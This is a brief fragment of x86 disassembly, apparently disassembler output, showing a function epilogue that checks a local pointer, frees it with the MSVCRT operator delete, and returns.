cmp dword [ebp - 0x54], 0
je 0x40ae31
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x6c], eax
push dword [ebp - 0x6c]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
mov eax, dword [ebp - 0xc]
leave
ret 8